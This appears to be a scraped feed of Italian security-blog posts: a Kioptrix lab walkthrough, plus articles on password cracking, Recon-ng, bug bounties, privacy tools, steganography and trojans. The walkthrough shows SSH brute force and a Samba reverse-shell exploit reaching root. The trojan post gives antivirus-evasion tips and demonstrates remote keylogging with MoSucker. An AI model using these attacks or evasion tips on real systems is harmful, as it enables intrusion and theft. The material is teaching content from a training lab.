MAC Address: 08:00:27:90:E1:2C (Oracle VirtualBox virtual NIC)
Service Info: Host: KIOPTRIX; OS: Windows XP; CPE: cpe:/o:microsoft:windows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1190.95 seconds

Ora conosco i servizi attivi dell’host, e so che:

  • utilizza, sulla porta 22, il servizio ssh. In particolare OpenSSH versione 2.9 (sarà permesso il login? è una versione vulnerabile?);
  • sulla porta 139 gira Samba;
  • sulla porta 80 e 443 Apache httpd versione 1.3.20;

Le vie possibili da seguire in questo momento sono molteplici, e dipende dal grado di preparazione di ognuno. I passi che eseguirò sono solo alcuni tra i tanti per scovare vulnerabilità ed entrare nel dispositivo target.

SSH

Il protocollo SSH già di per sè permette di stabilire una sessione remota (cifrata) tramite interfaccia a riga di comando. Senza tanti preamboli, provo a connettermi

ssh 192.168.1.168
root@192.168.1.109's password:

Un’informazione è stata ottenuta, il nome dell’account è root, ma la password è sconosciuta. Apro metasploit e cerco ssh

Screenshot from 2016-05-05 19-46-39

Il modulo che mi viene incontro è auxiliary/scanner/ssh/ssh_login, il quale ti permette di testare un lista di password in modo automatico verso l’host (attacco a dizionario). Dopo averlo selezionato, impostato il file delle password, lo avvio

brutemsf

Ed ecco che mi ha trovato la password. Provo con il terminale a connettermi

root@kali:~# ssh 192.168.1.109
root@192.168.1.109's password: 
Last login: Thu May  5 17:41:42 2016 from 192.168.1.107
unknown terminal "xterm-256color"
unknown terminal "xterm-256color"
[root@kioptrix root]# whoami
root

Sono dentro al sistema, e con le credenziali di root. Questo è un esempio, la password è stata modificata appositamente per rendere agevole la scansione.

 

Netbios

Netbios è sistema utilizzato per le comunicazioni via rete locale. È vivamente consigliato disattivarlo o configurarlo opportunamente, altrimenti è possibile che sia vulnerabile (ne ho parlato anche qui). Come prima, faccio una scansione dell’host (solo di netbios)

root@kali:~# nmblookup -A 192.168.1.109
Looking up status of 192.168.1.109
	KIOPTRIX         -         B  
	KIOPTRIX         -         B  
	KIOPTRIX         -         B  
	..__MSBROWSE__.  -  B  
	MYGROUP          -  B  
	MYGROUP          -         B  
	MYGROUP          -  B  

	MAC Address = 00-00-00-00-00-00

Scopro che è attivo il gruppo KIOPTRIX e MSBROWSE. Provo a connettermi a KIOPTRIX

root@kali:~# smbclient -L \\KIOPTRIX -I 192.168.1.109 
Enter root's password: 
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

	Sharename       Type      Comment
	---------       ----      -------
	IPC$            IPC       IPC Service (Samba Server)
	ADMIN$          IPC       ISSHPC Service (Samba Server)
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

	Server               Comment
	---------            -------
	KIOPTRIX             Samba Server

	Workgroup            Master
	---------            -------
	MYGROUP              KIOPTRIX

Adesso le informazioni ricavate sono che il login anonimo è permesso e che esistono due account :

  • IPC$;
  • ADMIN$;

Probabilmente il secondo è root, sparando nel mucchio provo a connettermi

root@kali:~# smbclient \\\\KIOPTRIX\\IPC$
WARNING: The "syslog" option is deprecated
Enter root's password: 
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
smb: \> ls
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
smb: \> cd ~
cd \~\: NT_STATUS_NETWORK_ACCESS_DENIED
smb: \>

Ma dopo essere entrato non riesco a fare nulla, quindi cambio metodo.

Samba tramite searchsploit

Utilizzando searchsploit (un pacchetto che include tutte le vulnerabilità trovate nel corso degli anni) cerco il servizio

searchsploit

I software e gli script sono nella cartella definita in alto a destra. Per evitare di essere Script Kiddie consiglio di leggere la sorgente, prima di compilarli ed eseguirli. Alcuni sono parecchio datati e può essere che necessitino di aggiornamenti (aggiornare librerie, modificare alcune righe, etc). Io ho scelto il secondo. Lo compilo e vedo che tipo di comandi ha bisogno

sambasploit

Dopo aver scelto le opzioni che mi servono, faccio partire lo script

exploitc

Ed eccomi nuovamente all’interno del dispositivo, con le credenziali di root.

Samba tramite Metasploit

In questo esempio sfrutterò sempre Samba, ma invece che utilizzare uno script, effettuerò un’exploit direttamente da metasploit. Come prima, cerco samba nel database del software e scelgo “exploit/linux/samba/trans2open“. Le opzioni da inserire sono solo l’obbiettivo e la porta (139). Per poter entrare nel sistema ho bisogno di selezionare un Payload e utilizzo “linux/x86/shell_reverse_tcp”Per poter vedere i payload disponibili basta digitare

show payloads

dopo aver impostato (use) l’exploit che fa al caso nostro. Prima di far partire l’exploit, consiglio di digitare

show advanced

In questo modo potrete vedere tutti i comandi e le opzioni disponibili per il modulo selezionato (nel mio caso ho dovuto inserire la porta (set LPORT 2222) e l’host da cui parte l’attacco(set LHOST 192.168.1.107, il mio IP locale)). L’operazione, alla fine, è quindi stata

msf exploit(trans2open) > run

[*] Started reverse TCP handler on 192.168.1.107:4444 
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Command shell session 1 opened (192.168.1.107:4444 -> 192.168.1.109:32769) at 2016-05-05 18:46:43 +0200

whoami  
root

mail
Mail version 8.1 6/6/93.  Type ? for help.
"/var/mail/root": 5 messages 4 new 5 unread
 U  1 root@kioptix.level1   Sat Sep 26 11:42  15/481   "About Level 2"
>N  2 root@kioptrix.level1  Tue May  3 09:28  18/522   "LogWatch for kioptrix"
 N  3 root@kioptrix.level1  Wed May  4 08:15  65/1882  "LogWatch for kioptrix"
 N  4 root@kioptrix.level1  Wed May  4 08:15  34/1159  "Anacron job 'cron.dai"
 N  5 root@kioptrix.level1  Thu May  5 07:40 165/7266  "Anacron job 'cron.dai"
1
Message 1:
From root  Sat Sep 26 11:42:10 2009
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptix.level1>
To: root@kioptix.level1
Subject: About Level 2

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy..

Digitando mail ho visualizzato le mail da leggere, e c’era una mail per root che vedete qui sopra in grassetto.

 

Conclusioni

Come potete vedere, effettuare un’exploit è tutt’altro che facile, neanche in una macchina vulnerabile costruita appositamente. Nell’articolo ho sfruttato solo due vulnterabilità ed effettuato un’attacco a forza bruta, ma sicuramente sono presenti altri servizi vulnerabili. Spero di esser stato il più chiaro possibile e aver linkato tutte le fonti e guide che possono servire per questa esercitazione. Se qualcosa non è chiaro, contattatemi o commentate pure, sarò lieto di poter rispondere.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Metodologie per il password cracking

$
0
0

passcracking

Il password cracking è il processo di recupero delle password da informazioni o dati che sono state immagazzinate o trasmesse da un sistema informatico. L’obbiettivo dell’operazione può essere aiutare un utente a recuperare una password dimenticata, per l’amministratore serve a controllare le password semplici da craccare o può essere utilizzato per avere accesso non autorizzato in un sistema.

La maggior parte dei tools utilizzati per questo processo avranno sicuramente successo con password semplici, mentre se fossero complicate, si potrebbe non riuscire a trovarle (anche se nel 2016 c’è ancora chi usa 123456 ). Le password possono essere di diversi tipi, in ordine di semplicità:

  • contiene solo numeri: 123456;
  • contiene solo lettere: QWERTY;
  • contiene lettere e numeri: Q1W2E3R4;
  • contiene solo caratteri speciali: !”£$%;
  • contiene lettere e caratteri speciali: Q!W”E£;
  • contiene numeri e caratteri speciali:  1!2″3£4$;
  • contiene numeri, lettere e caratteri speciali: A1!W2″E3£;

Tecniche di password cracking

  1. Attacco a dizionario: in questo attacco, un file di testo (il dizionario) è caricato all’interno del sistema. Questo file contiene un (grande) numero di parole, e ogni parola è testata in modo da vedere se combacia con quella dell’utente. È utilizzato principalmente in due situazioni:
    • in criptoanalisi, per trovare la chiave di decrittazione di un testo cifrato;
    • in sicurezza informatica, per avere accesso in un computer protetto da password.
  2. Attacco a forza bruta: l’attacco a forza bruta consiste nel provare ogni singola possibile combinazione fino a che non si trova quella corretta. Teoricamente è il metodo migliore, in quanto si ha la certezza di trovare tutte le password, ma è un metodo lento e costoso.
  3. Attacco ibrido: si basa sull’attacco a dizionario, ma vengono fatte delle aggiunte alle parole del dizionario. Se ad esempio sappiamo che la password è admin ma con numeri aggiunti, creiamo un file con admin1, admin2, etc. e ripetiamo l’attacco;
  4. Attacco a sillabe: è una combinazione dei primi due (e una derivazione dell’attacco a dizionario);
  5. Attacco in base a una regola: questo attacco è utilizzato quando conosciamo e abbiamo informazioni in merito alla password. Per esempio, se si sa che la password contiene 2 o 3 numeri specifici, possiamo utilizzarli per creare un file ad-hoc e trovarla in meno tempo.

Tipologie di attacchi password

  1. Attacco passivo online: questa tecnica consiste nel monitorare la rete in modo da catturare un’eventuale password. Non è intrusiva, in quanto non si viene riconosciuti nel monitoraggio e dopo averla sniffata si può tranquillamente craccare sul proprio dispositivo. Ci sono tre sottotipi:
  2. Attacco attivo online: è la via più semplice per avere accesso al sistema, i principali sono:
  3. Attacco offline: utilizzato quando la password è salvata nel dispositivo e si ha accesso al sistema. Se è salvata in un file leggibile, semplice o utilizza (ad esempio) LM hash , per trovarla ci vuole davvero poco tempo.
  4. Attacchi non elettronici: ossia che non utilizzano tool e non sono tecnici. Ci sono tre tipi:

Esempio pratico

Nello scorso articolo sono entrato in una macchina UNIX utilizzando una vulnerabilità di Samba. Ora voglio trovare e craccare le password del sistema, come posso fare? Quando sono nel sistema, entro nella cartella delle password e apro il file shadow. La schermata che si presenta è

passwkioptrix

Le password non sono ovviamente in chiaro, e per essere visualizzate necessitano di essere craccate. Per farlo utilizzerò uno dei sofware più utilizzati, ossia John. Copio quindi le password trovate in un file di testo sul mio dispositivo, apro John (versione GUI), carico il file e lancio l’attacco. Dopo pochi minuti trova subito la password di root (123456)

Screenshot from 2016-05-07 13-18-03

John utizza, in questo caso un attacco a forza bruta, tentando tutte le possibili combinazioni. Per rilevare tuttle le password (ne mancavano altre due) il mio computer ci avrebbe messo altre 10 ore, ma dipende dalla potenza del vostro pc (sono disponibili anche veri e propri dispositivi solo per il password cracking).

 

 

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips


Effettuare una ricognizione web: Recon-ng

$
0
0

recon

Recon-ng è un software scritto da Tim Tones, completamente in Python; è composto da moduli indipendenti, aiuti interattivi e molteplici plugin integrati (molto simile a metasploit). Esso serve ad effettuare tecniche di ricognizione, ossia la fase direttamente connessa al Footprinting, nella quale ricaviamo informazioni dall’obbiettivo al fine di trovare vulnerabilità e poterle sfruttare in seguito.

Il software è disponibile per linux a questo indirizzo.

I moduli da cui è composto sono divisi in macro categorie, che sono:

  • recon: moduli di ricognizione;
  • reporting: moduli per l’output delle informazioni ottenute (in file csv, html, etc.);
  • discovery;
  • import: per importare una lista di host o file csv;
  • explot: per effettuare exploit (ma non è stato creato per questo fine, infatti ne ha solo due).

Per visualizzare tutti i moduli basta digitare

show modules

e si avrà la lista completa divisa per categoria.

Dopo aver scelto un modulo che fa al caso nostro, per impostarlo

use modulodausare

Ogni modulo ha una lista di opzioni da dover impostare per essere avviato. Per poterle visualizzare (e vedere anche la documentazione rispetto a quel modulo)

show info

Se, ad esempio, stessi effettuando la ricognizione di una persona, la prima cosa che mi verrebbe in mente sarebbe se la sua mail è stata compromessa nel corso degli anni, per qualche breach o hack di database in siti in cui era iscritto. Seleziono quindi il modulo hibp_breach il quale cerca nel sito HaveIBeenPwned.

hipb

Come vedete mi ha trovato diversi breach (la mail me la sono inventata al momento in realtà, ma a quanto pare ho avuto fortuna).

 

Se invece volessi vedere se una mail esiste, ed è attiva, posso utilizzare il modulo mailtester. Come prima

[recon-ng][default][mailtester] > use recon/contacts-contacts/mailtester
[recon-ng][default][mailtester] > set SOURCE admin@google.com
SOURCE => admin@google.com
[recon-ng][default][mailtester] > run
[*] admin@google.com => E-mail address is valid

Il software, ad ogni modulo eseguito correttamente con risultati validi, salva le credenziali e le informazioni trovate nel proprio database. Per poterle visualizzare bisogna digitare

show informazionedavedere

Ad esempio, se volessi vedere i contatti salvati

show

Sempre automaticamente salva tutte le informazioni trovate durante la sessione nel report. Per creare un file html da poter controllare con calma

[recon-ng][default][interesting_files] > use reporting/html
[recon-ng][default][html] > set CREATOR mr.Touch 
CREATOR => mr.Touch
[recon-ng][default][html] > set CUSTOMER Hacktips
CUSTOMER => Hacktips
[recon-ng][default][html] > run
[*] Report generated at '/root/.recon-ng/workspaces/default/results.html'.

Il software in oggetto è molto utile, specialmente se abbiamo un obbiettivo ben preciso da scansionare. Anche se la maggior parte dei moduli possono essere sostituiti con tools online o con altri software più precisi, è uno dei sofware più utilizzati per l’attività di footprinting. Chiunque volesse approfondire, consiglio questo e quest’altro video.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Guadagnare hackerando siti: programmi Bug bounty!

$
0
0

bugcroud

Negli ultimi tempi è iniziata una vera e propria corsa alla ricerca di bug, vulnerabilità e falle di sicurezza su siti a livello di Facebook, Pornhub e Yahoo. Il programma si chiama Bug Bounty e consiste nel trovare bug, riportarli all’azienda ed essere, se ritenuta la falla grava, ricompensati. L’iscrizione dipende dall’azienda, ma basta trovare il sito che fa per voi, leggere e vedere le modalità, ed iniziare ad hackerare! Chiunque può farlo, è gratuito ed è perfetto per chi sta imparando (e chi è già nel campo è un ottimo modo per testare le proprie abilità e guadagnare qualcosa).
Un’azienda di Sicurezza Informatica, Hackerone, ha creato un vero e proprio business per questi programmi. Nella pagina Directory basta cercare il sito che si vuole testare, leggere il programma e iniziare la caccia.bugbountyfb

Oltre a siti, si possono trovare bug bounty per applicazioni, come Django, Nginx, Flash, php e molti altri. Alcune dei programmi che hanno fatto più scalpore sono:

Per chi volesse notizie aggiornate e documentazioni, consiglio il reddit /r/BugBounties/ (è privato)

Sarebbe bello vedere il programma applicato anche al governo italiano, visto che ci sono diversi comuni italiani violati.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Migliorare la privacy con Proxy, VPN e Tor

$
0
0

privacy

Quale è la soluzione migliore per navigare mantenendo livelli di privacy alti senza lasciare traccie durante la propria navigazione? In questo articolo andrò ad affrontare i vantaggi e gli svantaggi utilizzando i proxy, le VPN e Tor.

Proxy

proxy

Un proxy (tradotto: intermediario) è un server che si interpone tra il client e il server, inoltrando le richieste e le risposte dall’uno all’altro. Il principale utilizzo dei proxy è a livello applicativo, specialmente tramite HTTP. Essi possono avere diverse funzioni, tra le quali:

  • Filtri di controllo: possono essere utilizzati per bloccare l’accesso a contenuti vietati (come siti pornografici o altro), viene utilizzato nelle scuole o in Wi-fi pubblici;
  • Caching: un proxy può essere utilizzato per salvare in un lasso di tempo predefinito le richieste dell’utente, in modo che se un’utente le richiede nuovamente può essere servito senza dover interrogare il server;
  • Reverse-proxy (o surrogato): viene utilizzato per mascherare un web-server o migliorare le performance dello stesso (in questo caso chiamato acceleratore server);
  • Transcoder: un server proxy può essere utilizzato per modificare il contenuto di una pagina web prima di arrivare al client, ad esempio per tradurre delle pagine web o convertire file immagine;
    transcoder
    David Gourley, Brian Totty – HTTP: The Definitive Guide
  • Anonimizzazione: l’utilizzo più diffuso, la loro peculiarità consiste nel rimuovere caratteristiche del client di partenza, modificando ad esempio l’indirizzo IP, l’header, i cookies, etc.)
    anon
    David Gourley, Brian Totty – HTTP: The Definitive Guide

I proxies sono davvero semplici da utilizzare, basta cercare quello che fa per noi, oppure utilizzare estensioni, le quali con un solo click, ci permettono di raggiungere contenuto bloccati o non raggiungibili dallo stato in cui risiediamo. Ma come possiamo fidarci di servizi gratuiti?  Gli svantaggi per la privacy sono molteplici, i principali sono:

  1. Connessione non criptata: i principali servizi gratuiti non utilizzano una connessione cifrata, ma passano le richieste completamente in chiaro. Questo significa che nostro movimento può essere visto sul proxy server;
  2. Non nascondo l’indirizzo IP: alcuni servizi proxy passano l’indirizzo IP originale nell’header, in questo modo il server che vogliamo raggiungere vede comunque il nostro IP e siamo localizzati;
  3. Non nascondono tutto il traffico, solo l’HTTP: se sono con un dispositivo Windows, ed esso effettua degli aggiornamenti, il mio dispositivo contatta direttamente i server Microsoft, senza passare dal proxy.

Nel 2015 un ricercatore ha effettuato un’analizi di 443 servizi proxy gratuiti, e ben il 79% sono risultati non protetti. La ricerca è poi stata ampliata con 25.000 server testati con il suo tools ProxyCheck.

VPN

Già in uno scorso articolo avevo parlato di VPN, in cui avevo già introdotto funzionamento e vantaggi. Per chi non lo avesse letto, prendo comunque l’introduzione da li.

Le VPN (Virtual Private Network) sono reti virtuali private, ossia sistemi di comunicazione che permettono di creare una proprio rete privata per navigare in internet in completa sicurezza e (possibile) anonimato. In termini decisamente semplici, tramite un VPN ci si può collegare ad un server come se si fosse fisicamente connessi tramite cavo di rete o wireless. Le suddette reti utilizzano:

  • collegamenti che necessitano di autorizzazione in modo da garantire l’accesso solo agli utenti autorizzati;
  • protocolli che provvedono a cifrare il traffico transitante sulla rete virtuale;
  • firewall tra il computer dell’utente e il server, in modo che i dati transitanti sono autenticati.

Per essere protetti, i dati scambiati sulla rete devono essere incapsulati tramite un processo definito Tunneling.

Solitamente le VPN vengono utilizzate dalle aziende, poiché migliora la sicurezza, riduce i costi, estende la connettività geografica e molto altro. Ma per l’utente quali sono i vantaggi, e perchè dovrebbe usufruirne?

  1. C’è la possibilità di nagivare in modo anonimo;
  2. C’è la possibilità di scaricare file protetti da copyright senza essere riconosciuti (anche se per questo sono dell’idea che sia meglio utilizzare una Seedbox);
  3. Si può aggirare qualsiasi blocco e visitare siti censurati.

Anche le VPN hanno i loro punti deboli, bisogna necessariamente scegliere una VPN che non tenga log, e che abbia diversi server, i quali non devono risiedere nelle nazioni UKUSA. Quando paghiamo per un servizio, abbiamo una certezza in più rispetto ad un servizio gratuito. Gli svantaggi sono quindi:

  • Bisogna fidarsi del provider: l’azienda che offre il servizio deve essere affidabile, alla fine il nostro traffico passa da loro, e deve essere criptato;
  • Costi: i servizi gratuiti ci sono, ma li eviterei in maniera più indiscussa. I costi medi sono circa 10 euro al mese;

Oltre alle tabella su reddit è possibile guardare a questo indirizzo per trovare le VPN più affidabili. Un recente studio ha analizzato le maggiori VPN, e molte sono risultate vulnerabili a diversi attacchi (DNS Hijacking ad esempio). Qui un articolo in italiano, lo studio si trova a questo indirizzo.

Tor

Tor (The Onion Router) è un sistema di comunicazione anonima per Internet basato sulla seconda generazione del protocollo di rete di onion routing. Tor protegge gli utenti dall’analisi del traffico attraverso una rete di router (detti anche onion router), gestiti da volontari, che permettono il traffico anonimo in uscita e la realizzazione di servizi anonimi nascosti. Oltre a poter anonimizzare il traffico HTTP, Tor permette di farlo su qualiasi tipo di servizio, come SSH, messaggeria instantanea e client di posta.

Tor-onion-network

Anche se l’utilizzo principale di Tor è quello di accedere a server nascosti, è, ad oggi, il modo migliore per garantire il proprio anonimato. I vantaggi utilizzando il software sono:

  • È il modo più sicuro e anonimo per navigare e utilizzare qualsiasi servizio che utilizza la rete;
  • È utile per aggirare firewall e blocchi su reti aperte;
  • È gratis ed Open-source.

Sebbene sia il migliore, esistono molti svantaggi anche in questo caso:

  • Lentezza: purtroppo non può garantire una velocità come se si navigasse in modo normale, il traffico prima di connettersi al server richiesto deve passare per tre nodi!
  • Non va bene per il p2p;
  • Utilizzandolo sempre potete essere presi di mira e alcuni servizi (come Paypal o Wikipedia) potrebbero rifiutare alcune delle vostre richieste.

Potete approfondire l’analisi e l’utilizzo di Tor con questo video, con quest‘analisi e questo libro Open-source.

 

Conclusioni

Per i più paranoici è possibile utilizzare una VPN con Tor, come spiegato in questo articolo. Non consiglierei mai di utilizzare un proxy per effettuare delle richieste o connessioni che devono rimanere private, ed anche con una VPN non sarei molto tranquillo. Ovviamente nessuno di questi metodi garantisce l’anonimato al 100%, può sempre esserci un bug o il rischio che siate già compromessi.Conoscete altri modi per navigare in modo anonimo? Fatemi sapere nei commenti!

 

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Tecniche e classificazione della Steganografia

$
0
0

La Steganografia è definita come l’arte di nascondere dati all’interno di altri dati senza essere scoperti da fonti esterne. Vengono rimpiazzati bit inutili e non utilizzati all’interno di file immagini, video o audio con bit precisi e scelti da noi. L’obbiettivo è lo stesso della crittografia, ossia inviare file senza che enti o persone esterne possano scoprire ciò che stiamo inviando.

Le applicazioni sono diverse, tra le quali:

  • Steganografia del File System;
  • Steganografia nei media: vengono nascoste delle stringhe di testo in file immagini, video o audio.
  • Nascondere i metadati: i metadati possono essere utilizzati per tracciare un file. In un esempio pratico, se compro un Ebook online, è possibile che oltre al DRM, ci siano informazioni sulla transazione, in modo che se duplico il file e lo pubblico online posso essere riconosciuto.

Classificazione

La Steganografia viene classificata in due aree principali, basate su altrettante tecniche (steganografia tecnica e steganografia linguistica).

classification

Steganografia tecnica

La steganografia tecnica consiste nel nascondere messaggi di testo con l’aiuto di metodi fisici o chimici.  Alcuni di questi sono:

  1. Inchiostro invisibile;
  2. Microdot: è un testo o un immagine che viene considerevolmente ridotta per non essere rinosciuta (tradotto infatti in micropunti);
  3. Steganografia digitale: avvalendosi quindi di un computer per nascondere il testo.
Steganografia linguistica

Viene nascosto il messaggio in vettori o stringhe di testo. Si divide a sua volta in:

  1. Semagrammi (ndb: semagram in inglese): vengono utilizzati simboli o simboli differenti per nascondere il messaggio. Si compone da:
    • visuali: si utilizzano oggetti fisici per trasmettere il messaggio;
    • testuali: nel testo stesso viene nascosto un messaggio con stringhe particolari (ad esempio lettere rimpicciolite o più spazio tra le due).
  2. Codici aperti: il messaggio sembra innocente, mentre viene nascosto all’interno di esso. Si compone da:
    • codice jargon: è un linguaggio che un gruppo ristretto di persone può capire ma è senza significato per altre. Questo codice è composto da segnali, terminologie e conversazioni che hanno un preciso significato solo per un gruppo di persone;
    • cifrari nascosti: il messaggio è nascosto in un vettore di stringhe, in modo che solo chi conosce la regola può decifrare il testo (ad esempio, leggi ogni 50 parole). Si divide a sua volta in:
      • cifrario a griglia;
      • cifrario nullo.

Tecniche

Le principali tecniche di steganografia sono classificate in sei gruppi principali. Essi sono:

  1. Tecniche di sostituzione: in questa tecnica vengono sostituiti i bit non utilizzati con bit composti dal messaggio segreto. Se il destinatario conosce la posizione di questi bit può estrarre il messaggio;
  2. Tecnica di trasformazione: l’informazione viene nascosta mediante trasformazioni dell’immagine (o video, audio) tagliando, comprimendo o applicando altri processi di modifica. Si può effettuare su un’intera immagine o solo su blocchi specifici;
  3. Tecnica dello spettro espanso: questa tecnica è principalmente utilizzata nelle comunicazioni radio militari, proprio per la sua robustezza e difficoltà di estrazione. Può essere descritto come un metodo nel quale un segnale rilasciato a una determinata frequenza di banda viene trasformato poi utilizzando una largezza di banda più alta (e quindi reso irriconoscibile).
  4. Tecnica statistica: utilizza l’esistenza dello schema 1-bit (pagina 6), nel quale viene nascosto 1 bit nel file digitale;
  5. Tecnica della distorsione: vengono effettuate una serie di modifiche al file. Il destinatario può confrontare il file originario con quello ricevuto, in modo da ricostruire la sequenza di modifiche;
  6. Generazione di una copertura: in questo caso viene generata una copertura ad-hoc per nascondere il messaggio, un caso pratico è Spammimic.

Esempi pratici e una spiegazione più esaustiva delle diverse tecniche la potete trovare qui.

 

Funzionamento pratico e tipologie di Steganografia

La Steganografia nasconde informazioni importanti all’interno di testi, immagini, audio, video e qualsiasi file digitale.

imagesteg

Esistono molteplici tipi di file con cui si può effettuare una steganografia, alcuni sono:

  • immagini;
  • documenti;
  • video;
  • audio;
  • siti web;
  • email;

Steganografia di Immagini

Le immagini sono uno dei file più utilizzati per nascondere testi nascosti, poichè l’alterazione di bit non è semplice da rilevare. Le tecniche utilizzate sono principalmente due:

  1. inserimento del messaggio nell’immagine, modificando i bit direttamente;
  2. modifica dell’immagine e successivamente inserimento del messaggio.

La tecnica probabilmente più frequente è la cosidetta LSB (Least Significant Bit) e consiste appunto nel rimpiazzare l’ultimo bit di ogni pixel con una parte del messaggio.

Alcuni tools utilizzabili per le immagini sono:

Steganografia di documenti

Processo molto simile a quello delle immagini, alcuni software sono:

  • Wbstego (Linux & Windows, supporta immagini, file txt, Pdf e HTML);
  • Office XML (Windows);

Steganografia Audio

La steganografia audio permette di nascondere un messaggio all’interno di un file audio senza comprometterlo. L’informazione può essere nascosta utilizzando la tecnica LSB o creando un file con frequenza >20.000 Hz (in modo che non sia udibile all’orecchio umano), un esempio è lo spettro espanso. Software disponibili:

Steganografia Video

Tutte le tecniche applicate prima possono essere utilizzate nei video (che sono un’insieme dei due). Nei video non vengono nascosti messaggi di poche parole, ma solitamente un gran numero di informazioni. Software:

Non ne ho trovati per linux gratuiti, se doveste conoscerne altri, fatemi sapere che aggiungo!

Conclusioni

Non ho testato alcun software poichè sono molto semplici e intuitive, ognuno con una propria interfaccia grafica e guide approfondite. Più avanti farò sicuramente un articolo sulla steganalysis, ossia l’analisi di file in cui è nascosto un messaggio (il contrario di tutto ciò che ho introdotto oggi). Per chi volesse approfondire, c’è questo video sulle basi della steganografia.

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Cosa è e come funziona un Trojan

$
0
0

Un trojan, nell’ambito della sicurezza informatica, indica un tipo di malware, ed è definito come un programma maligno mascherato da qualcosa di benigno (il nome infatti deriva da Cavallo di Troia in esplicito riferimento alla leggenda Greca). Un trojan è utilizzato per entrare nel computer della vittima senza esser riconosciuto, accedere ai dati dello stesso e/o causare danno. Per esempio, può essere scaricato da un allegato mail, oppure tramite un programma p2p. Dopo averlo aperto (credendolo un documento di testo oppure l’ultimo film in sala), esso cancella i dati, utilizza il dispositivo per far parte di un attacco dos e molto altro. È bene ricordare che i trojan hanno lo stesso livello di privilegi dell’utente che lo avvia; quindi se sarà un utente normale, senza troppi privilegi, esso potrebbe causare pochi danni, ma se è l’amministratore (cosa molto comune con Windows e l’utilizzo privato) esso può danneggiare notevolmente il dispositivo.

Schermata del client con cui l’attaccante pilotava da remoto Beast, uno dei più famosi trojan, su un PC infetto

Ma cosa cercano dal nostro dispositivo?

I trojan sono scritti principalmente per rubare informazioni da altri sistemi ed esercitare controllo sui dispositivi. Essi sono creati per le seguenti ragioni:

  • Rubare informazioni sensibili come email, password, carte di credito;
  • Utilizzare il computer della vittima come “disco esterno” per salvare e nascondere informazioni illegali;
  • il sistema compromesso può essere poi utilizzato per scopi illegali, come parte di un attacco dos o come botnet.

Come una sistema viene infettato

Un sistema può essere infettato in diversi modi, tra i quali:

  1. il trojan è inserito in un programma shareware o freeware. L’utente installa tutto il pacchetto inconsciamente, insieme al virus;
  2. click su banner pubblicitari maligni. Negli ultimi tempi sono divenuti sempre più frequenti, anche nei siti porno o di torrent;
  3. possono essere inviati tramite email, come allegato. Solitamente il messaggio arriva da un contatto fidato, il quale a sua volta era stato infettato;
  4. tramite accesso fisico, come un’USB o un CD.

Se il virus è inserito in un programma originalmente genuino viene detto Wrapper. Quando un utente esegue il file, in background viene installato il trojan, mentre l’utente visualizza solo l’interfaccia d’installazione del programma originale. Alcuni software che creano i Wrapper sono Kriptomatik e Advanced File Joiner. Kriptomatik è un software che permette di proteggere i file da antivirus e e crackers. Esso ha diverse funzioni, tra le quali:

  • Impostare l’icona;
  • crittografare i file;
  • modificare le proprietà;

kripto

Come aggirare le protezioni degli antivirus

Se scarichiamo un qualsiasi Trojan da Internet, gli antivirus lo troveranno subito, specie se sono aggiornati. Il modo migliore è scrivere un proprio trojan (un esempio qui), cambiare l’estensione (da .exe a .vb o un file ppt/doc) e magari dividerlo in diversi pezzi. Non farò un tutorial su come scrivere un proprio trojan in questo articolo, magari in futuro (a dirla tutta non ho mai provato), ma servono ottime conoscenze di linguaggi di programmazione, dei sistemi operativi e delle loro vulnerabilità.

Esempio di Trojan

MoSucker

Mosucker è un trojan scritto in visual basic, parecchio datato (2002) ma che per scopi didattici può andare benissimo. Il file l’ho scaricato da qui (non è un bellissimo sito, consiglio un buon antivirus e un adblock. La password dell’archivio è tr).

Dopo aver estratto i file, eseguo il file createServer; creerà un programma che dovremo far eseguire alla vittima in modo da creare una connessione tra il nostro dispositivo e il suo (nel mio caso ho creato una connessione in locale). Avvio il file MoSucker, avvio il file creato precedentemente e mi connetto al dispositivo.

server

Come si può notare, già ho tutte le informazioni del sistema, ma proviamo ad andare più a fondo. Posso navigare nel computer tramite un file manager apposito, avviare programmi, creare file o cartelle

createdir

Abbiamo a disposizione tutto il computer, possiamo inviargli messaggi, chattare con lui o iniziare a registrare la tastiera e ciò che digita (keylogging). Come si vede dallo screenshot, a sinistra c’è la vittima, che sta scrivendo, mentre a destra l’attaccante riceve tutto ciò che scrive, senza che la vittima se ne accorga.

keylogger

 

Altri Trojan da poter testare in vari ambiti sono:

  • Zeus e SpyEye: utilizzati per rubare dati di carte di credito, hanno keylogger e grabber, con diverse funzionalità (sono abbastanza recenti);
  • IllusionBot e NetBot: sono Botnet trojan, ossia trasformano la macchina colpita in una botnet;
  • RemoteByMail: utilizzato per prendere possesso del computer tramite una mail;
  • M4st3r trojan: creato a scopo distruttivo, cancella i dati della vittima e distrugge il sistema operativo;

Conclusioni

